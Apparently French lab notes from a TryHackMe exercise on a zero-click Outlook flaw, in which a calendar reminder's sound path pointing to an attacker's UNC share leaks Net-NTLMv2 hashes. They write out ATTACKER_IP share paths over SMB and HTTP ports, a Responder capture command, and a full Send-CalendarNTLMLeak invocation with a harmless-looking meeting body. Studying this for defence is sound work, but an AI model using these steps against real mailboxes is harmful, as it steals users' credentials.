
Concerne toutes les versions d'outlook desktop app. 

Cette CVE est une zéro clique exploit = pas besoin d'une interaction du user. 

Once an infected email arrives in the user's inbox, the attacker can obtain sensitive Net-NTLMv2 
credential hashes. Once malicious actors have those hashes, they can get a user's credentials, 
authenticate to their system and escalate privileges.

On ouvre outlook : 

Sur outlook on peut ajouter une sorte de notifications pour nous rappeller un RDV : ( On Outlook, it's 
possible to add reminder notifications when sending calendar invitations) :
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On peut aussi choisir un son qui va se jouer quand le user recevra une notification.

C'est ce paramètre qui est vulnérable. 

Abusing Reminder Sounds via UNC Paths

L'exploit se déroule de cette manière : 

L'attaquant va envoyer un inclure dans le reminder un fichier audio qui contient une exploit. 
L'attaquant va utiliser l'Universal Naming Convention (UNC) cad les \\ pour permettre a la victime de 
récupérer cette audio via un partage fait par l'attaquant. 

Cette exploit utilise deux paramètres : 

PidLidReminderFileParameter qui va contenir la référence du son (donc le lien, le chemin)

Et 

PidLidReminderOverride qu'on mettra en TRUE. 

ON a donc un lien de ce type (pour un partage en SMB)

\\ATTACKER_IP\foo\bar.wav

Pour un partage autre que SMB (si ça ne fonctionne pas), on peut utiliser le protocol 
HTTP :(permettre de bypasser des firewalls parfois) :

\\ATTACKER_IP@80\foo\son.wav

\\ATTACKER_IP@443\foo\caca.wav

Quand la victime reçoit le méchant mail, l'UNC utilise le chemin vers le partage ce qui va déclencher 
la vulnérabilité. La système va ensuite commencer une authentification NTLM et l'attaquant va 
pouvoir récupérer le hash qu'il va ensuite pouvoir cracker.

CAS PRATIQUE : 

On va utiliser Responder ici : 

Sur notre kali : 

responder -I ens5 
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file://ATTACKER_IP/foo/bar.wav
file://ATTACKER_IP@80/foo/son.wav
file://ATTACKER_IP@443/foo/caca.wav
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ON peut utiliser le plugin OutlookSpy qui va nous permettre de d'avoir accès a tous les paramètre 
interne d'outlook. 

Ici on peut voir les paramètres associés au rappel. 
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On peut aussi utiliser un script qui vient de ce git : https://github.com/api0cradle
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https://github.com/api0cradle


Send-CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath 
"\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM Meeting" -
meetingbody "This is just a regular meeting invitation :)" 
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file://ATTACKER_IP/foo/bar.wav


FIN !
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